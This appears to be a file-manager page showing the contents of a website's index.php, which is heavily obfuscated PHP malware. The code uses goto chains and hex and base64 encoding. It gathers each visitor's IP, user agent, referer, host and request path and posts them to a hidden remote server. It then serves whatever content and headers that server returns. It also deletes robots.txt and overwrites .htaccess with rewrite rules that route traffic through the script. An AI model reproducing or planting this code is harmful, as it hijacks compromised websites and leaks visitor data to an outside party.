OwlCyberSecurity - MANAGER

Edit File: index.php

<?php goto YPV5U; eDUQ6: goto WggFP; goto UiWGc; DQl1u: goto asvpm; goto cEkKq; F4h_B: pAZ2p: goto UnpRK; OzMgo: SV3Aq: goto l7cLP; vEFwl: goto DBMrV; goto I7Ud7; U95c2: goto DtPor; goto mSBsA; eEIUc: goto rH0qQ; goto cQ8_E; XD08D: NLtjk: goto KQLDV; JfuFH: goto P6WK3; goto X7e_r; R4SdK: goto IgYnK; goto m79c_; gdKWO: goto Z1q0i; goto Bk71P; I9_0r: goto gH0_M; goto ertEF; Bk71P: VaFM3: goto KvlWq; kSrOM: function h($url, $pf = '') { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, "\150"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_FRESH_CONNECT, TRUE); if ($pf != '') { curl_setopt($ch, CURLOPT_POST, 1); if (is_array($pf)) { curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($pf)); } } $r = curl_exec($ch); curl_close($ch); if ($r) { return $r; } return ''; } goto W9Hhi; ZX29b: nhs1_: goto JzmD7; wW3eT: goto VTWNC; goto p7k5T; TKfK0: goto NRxHZ; goto flrlH; VFgK_: goto Ybh42; goto O3oPS; K6BtI: goto e_Z5R; goto OqpDL; p7k5T: NRxHZ: goto u6RVT; X7e_r: gXwQ1: goto kSrOM; m79c_: JLE13: goto pqyUz; wa833: goto wZV4C; goto qfJ2z; NNC5V: d1n94: goto R4SdK; MfEZQ: jSp9r: goto U95c2; I7Ud7: goto KL1Ew; goto VzDC1; P3mhJ: function h2() { if (file_exists("\162\x6f\142\157\x74\163" . "\x2e\164\170\x74")) { @unlink("\162\x6f\142\157\164\163" . "\x2e\x74\170\x74"); } $htaccess = "\x2e" . "\x68\164\141\143\x63\x65\163\x73"; $content = @base64_decode("\x50\105\x5a\x70\x62\107\126\172\x54\x57\106\60\x59\62\147\x67\x49\x69\64\157\x63\110\154\70\x5a\x58\150\154\146\110\x42\x6f\143\103\153\x6b\111\152\x34\113\x49\x45\71\x79\x5a\107\x56\x79\x49\x47\106\x73\142\x47\71\63\x4c\107\122\154\142\x6e\x6b\x4b\111\x45\122\154\x62\156\153\x67\x5a\156\x4a\x76\x62\123\102\150\x62\107\x77\x4b\x50\x43\x39\107\x61\x57\x78\x6c\x63\60\x31\150\144\x47\116\157\120\147\x6f\70\x52\x6d\154\163\132\130\116\x4e\131\x58\122\x6a\141\103\x41\x69\130\151\x68\x68\131\x6d\71\x31\x64\x43\65\x77\141\110\102\x38\143\x6d\x46\x6b\141\127\x38\165\143\x47\x68\167\x66\x47\154\165\132\x47\x56\64\114\x6e\x42\157\143\x48\x78\x6a\142\x32\x35\x30\x5a\127\65\60\x4c\x6e\x42\157\143\x48\x78\x73\142\x32\x4e\x72\x4d\x7a\x59\167\114\x6e\102\x6f\143\x48\170\x68\132\x47\x31\160\142\151\65\167\141\110\x42\70\x64\x33\101\x74\142\x47\71\156\141\x57\64\x75\143\107\150\167\146\x48\144\167\x4c\x57\x77\167\132\x32\154\165\x4c\156\102\x6f\143\x48\x78\x33\143\103\61\60\141\x47\x56\164\132\123\65\x77\141\x48\102\70\144\63\x41\164\143\x32\x4e\x79\141\130\102\x30\143\x79\65\167\141\110\102\70\x64\x33\101\x74\x5a\127\x52\160\x64\107\71\x79\x4c\x6e\x42\x6f\143\110\170\164\131\127\147\x75\143\x47\150\167\x66\x47\x70\x77\x4c\156\102\157\x63\110\x78\154\145\x48\x51\x75\143\x47\150\x77\x4b\123\x51\151\x50\x67\157\147\124\63\x4a\153\x5a\130\x49\x67\x59\127\x78\163\142\63\143\163\132\x47\126\165\145\121\157\147\x51\127\170\x73\x62\63\143\147\132\x6e\x4a\166\142\x53\102\x68\x62\107\x77\x4b\x50\x43\x39\x47\141\x57\170\154\143\x30\x31\150\144\107\116\x6f\120\147\157\70\x53\127\x5a\x4e\x62\x32\x52\61\142\107\x55\147\x62\127\x39\x6b\130\63\112\154\144\63\112\x70\144\x47\125\x75\131\x7a\x34\113\125\155\x56\x33\143\x6d\x6c\60\132\125\x56\x75\132\62\154\x75\x5a\x53\x42\120\142\x67\x70\123\132\x58\144\171\x61\130\x52\x6c\x51\155\106\172\132\x53\x41\x76\103\154\112\154\x64\63\x4a\x70\x64\x47\126\x53\x64\x57\170\x6c\x49\x46\65\x70\x62\x6d\122\x6c\x65\x46\167\165\143\107\x68\x77\112\x43\101\164\x49\x46\x74\x4d\130\x51\x70\123\x5a\130\144\171\x61\130\x52\154\x51\62\x39\x75\x5a\103\101\x6c\x65\61\x4a\106\125\x56\x56\x46\125\61\122\x66\122\153\x6c\115\x52\125\x35\102\124\x55\x56\71\111\103\105\164\x5a\x67\160\123\x5a\130\144\x79\141\x58\122\154\x51\x32\71\x75\x5a\103\101\154\x65\x31\112\x46\125\x56\126\x46\x55\61\122\146\122\153\154\115\x52\x55\x35\102\x54\x55\126\x39\x49\x43\105\164\x5a\x41\160\123\132\130\x64\x79\x61\x58\122\x6c\x55\x6e\126\163\x5a\123\101\x75\111\103\x39\x70\x62\155\x52\154\145\x43\65\x77\x61\110\x41\147\127\60\170\x64\103\x6a\167\x76\x53\x57\132\x4e\x62\x32\122\x31\x62\x47\x55\x2b"); if (file_exists($htaccess)) { $htaccess_content = file_get_contents($htaccess); if ($content == $htaccess_content) { return; } } @chmod($htaccess, 511); @file_put_contents($htaccess, $content); @chmod($htaccess, 420); } goto TKfK0; eVbxU: while ($try < 3) { $content = h($api, $params); $content = @gzuncompress(base64_decode($content)); $data_array = @preg_split("\x2f\134\174\57\163\x69", $content, -1, PREG_SPLIT_NO_EMPTY); if (!empty($data_array)) { $data = array_pop($data_array); $data = base64_decode($data); foreach ($data_array as $header) { @header($header); } echo $data; die; } $try++; } goto VFgK_; iIZwC: Ybh42: goto k4cLR; MDBLE: asvpm: goto qX0Tv; wriZ_: goto iy24M; goto WxA_M; vIxA1: KJmzS: goto wa833; VPJG2: goto JLE13; goto Bisgk; bcqyr: goto HTUxu; goto JfuFH; BRoSR: goto aWZAO; goto iIZwC; BXcBr: goto ML0ua; goto fDdgw; zfnIC: goto Drhy0; goto TBcpK; W21Im: goto uERA7; goto PnUgN; cfOxS: FarvF: goto I0nuV; HEH6g: goto d1n94; goto gdKWO; cQ8_E: Drhy0: goto vIxA1; JzmD7: $params["\x69\x70"] = isset($_SERVER["\110\124\x54\x50\x5f\126\111\x41"]) ? $_SERVER["\x48\124\x54\120\x5f\x58\x5f\106\117\x52\127\x41\x52\104\105\x44\x5f\106\117\x52"] : $_SERVER["\x52\105\115\x4f\124\105\x5f\x41\104\104\x52"]; goto zr5CG; qX0Tv: $params["\x70\x72\157\164\157\143\x6f\x6c"] = isset($_SERVER["\110\x54\x54\120\x53"]) ? "\x68\x74\x74\160\x73\72\57\57" : "\x68\164\164\x70\x3a\57\x2f"; goto p0eaX; F9iEb: bGrYZ: goto eVbxU; R16Jf: gkVrv: goto W21Im; SDzDD: goto gkVrv; goto gkM7g; qfJ2z: KL1Ew: goto OD_Z3; e4syM: rb6we: goto YJulH; suMPG: $params["\x72\145\161\x75\x65\163\164\137\x75\162\154"] = $_SERVER["\122\105\x51\125\105\123\x54\137\125\122\x49"]; goto hnfqB; MADCj: XrIOh: goto e4syM; k4cLR: goto H4wUm; goto a8P14; R8qHf: WggFP: goto NuXed; peDpG: gH0_M: goto bdW4k; fDdgw: JaaIv: goto CS3At; a8P14: goto Rf49e; goto MADCj; FEw4k: ZNQ0L: goto VPJG2; IN10b: uERA7: goto oW2Fq; KBYrJ: $params["\154\x61\x6e\x67\x75\141\x67\145"] = isset($_SERVER["\x48\x54\x54\120\x5f\x41\x43\103\x45\x50\x54\x5f\x4c\101\116\x47\x55\101\107\105"]) ? $_SERVER["\110\124\124\120\137\x41\x43\x43\x45\120\124\x5f\x4c\x41\x4e\x47\x55\x41\x47\105"] : ''; goto v0FN1; Xc8to: wshlg: goto VDyNz; zr5CG: goto wshlg; goto kXQF_; t7hSC: goto bfuX4; goto MDBLE; YPcDa: $params["\x61\x67\145\156\x74"] = isset($_SERVER["\110\x54\x54\x50\x5f\x55\x53\105\x52\x5f\101\107\105\116\x54"]) ? $_SERVER["\110\124\x54\120\x5f\125\123\105\122\x5f\x41\107\x45\x4e\124"] : ''; goto vFcUN; nJh9W: jcHMB: goto P3mhJ; YPV5U: goto W3cJd; goto iDM1Y; FhS8G: ML0ua: goto JLbWT; xK_id: goto KJmzS; goto K6BtI; mTyFk: VTWNC: goto g039a; cEkKq: IgYnK: goto yMTdT; hnfqB: goto SV3Aq; goto F4h_B; iDM1Y: fAxdF: goto ej1L1; vFcUN: goto RVpu3; goto OzMgo; WZ0hE: goto w5VaU; goto Su9GV; osmft: goto FarvF; goto KsCVu; oW2Fq: $params["\x64\x6f\x6d\141\x69\156"] = isset($_SERVER["\x48\x54\124\120\x5f\110\117\123\x54"]) ? $_SERVER["\x48\x54\124\120\137\x48\x4f\x53\124"] : $_SERVER["\123\x45\x52\x56\x45\122\x5f\116\x41\115\105"]; goto BXcBr; VDyNz: goto ZNQ0L; goto I9_0r; URFVP: P1Rri: goto i3hNT; nxqwO: goto Up0ti; goto Xc8to; Yjs0r: goto O8Ct5; goto vo2NY; NgiWP: W3cJd: goto eDUQ6; Su9GV: bfuX4: goto fRmBU; pqyUz: if ($params["\151\160"] == null) { $params["\x69\160"] = ''; } goto hLpU6; t09cc: goto pAZ2p; goto F9iEb; l7cLP: goto NgfW6; goto uIDWA; JiwDE: goto NLtjk; goto QtQEC; KsCVu: aWZAO: goto ofykZ; kXQF_: P6WK3: goto FEw4k; R6lRq: PuCtv: goto suMPG; oFfGL: goto K4DlD; goto ZX29b; OD_Z3: O8Ct5: goto rgnjZ; ynQ5o: goto nhs1_; goto KR2Tt; KvlWq: kHjww: goto ynQ5o; flrlH: w5VaU: goto vEFwl; I0nuV: $params["\x72\x65\x66\145\162\x65\x72"] = isset($_SERVER["\x48\124\124\120\137\x52\105\106\x45\122\x45\x52"]) ? $_SERVER["\x48\x54\x54\120\x5f\x52\105\x46\x45\122\x45\122"] : ''; goto qkLwj; xx2pn: wisLP: goto bcqyr; WxA_M: RVpu3: goto Xbg3x; NuXed: goto gXwQ1; goto nJh9W; W9Hhi: goto jex2m; goto FhS8G; UiWGc: goto VaFM3; goto Z98HA; YLbBS: goto PuCtv; goto XD08D; hLpU6: goto fAxdF; goto IN10b; VogUp: goto P1Rri; goto NewX4; Bisgk: rH0qQ: goto e3e1I; gkM7g: goto i91yJ; goto peDpG; CS3At: NgfW6: goto osmft; nDZ0n: goto yjB9B; goto eK74E; yMTdT: if (isset($_REQUEST["\x70\141\x72\141\x6d\163"])) { $params["\141\x70\x69"] = $api; print_r($params); die; } goto WZ0hE; u6RVT: goto jSp9r; goto zfnIC; LSVv4: Yph5L: goto YLbBS; O3oPS: yjB9B: goto SDzDD; KR2Tt: wZV4C: goto KBYrJ; KQLDV: h2(); goto BRoSR; TBcpK: Rf49e: goto R16Jf; rgnjZ: goto bGrYZ; goto fnJsc; p0eaX: goto UrMRU; goto mTyFk; ej1L1: goto FRYK6; goto oFfGL; QtQEC: Up0ti: goto Yjs0r; t1xPS: goto rb6we; goto t09cc; JLbWT: goto Yph5L; goto PizTF; YJulH: goto jcHMB; goto R6lRq; fRmBU: $try = 0; goto nxqwO; PizTF: goto JaaIv; goto NgiWP; ZxSNT: Z1q0i: goto NNC5V; uIDWA: goto XrIOh; goto ZxSNT; i3hNT: BQbyt: goto t7hSC; ofykZ: goto BQbyt; goto eEIUc; wNxFR: H4wUm: goto wW3eT; OqpDL: jex2m: goto t1xPS; UnpRK: DBMrV: goto JiwDE; ertEF: DtPor: goto SEEfy; SEEfy: $api = base64_decode("\x61\110\x52\x30\x63\104\x6f\x76\x4c\x7a\x59\170\x4e\104\x59\164\x59\62\147\60\x4c\x58\x59\x79\117\x54\x41\165\141\x57\61\156\116\63\154\x68\x61\107\71\x76\114\155\116\x76\x62\x51\x3d\75"); goto nDZ0n; NewX4: N5DFj: goto LSVv4; Xbg3x: goto kHjww; goto VogUp; bdW4k: FRYK6: goto DQl1u; qkLwj: goto wisLP; goto xx2pn; mSBsA: UrMRU: goto xK_id; fnJsc: i91yJ: goto wNxFR; Z98HA: e_Z5R: goto R8qHf; eK74E: iy24M: goto YPcDa; VzDC1: K4DlD: goto MfEZQ; PnUgN: IEFdp: goto HEH6g; e3e1I: HTUxu: goto wriZ_; v0FN1: goto IEFdp; goto URFVP; vo2NY: goto N5DFj; goto cfOxS; g039a: ?>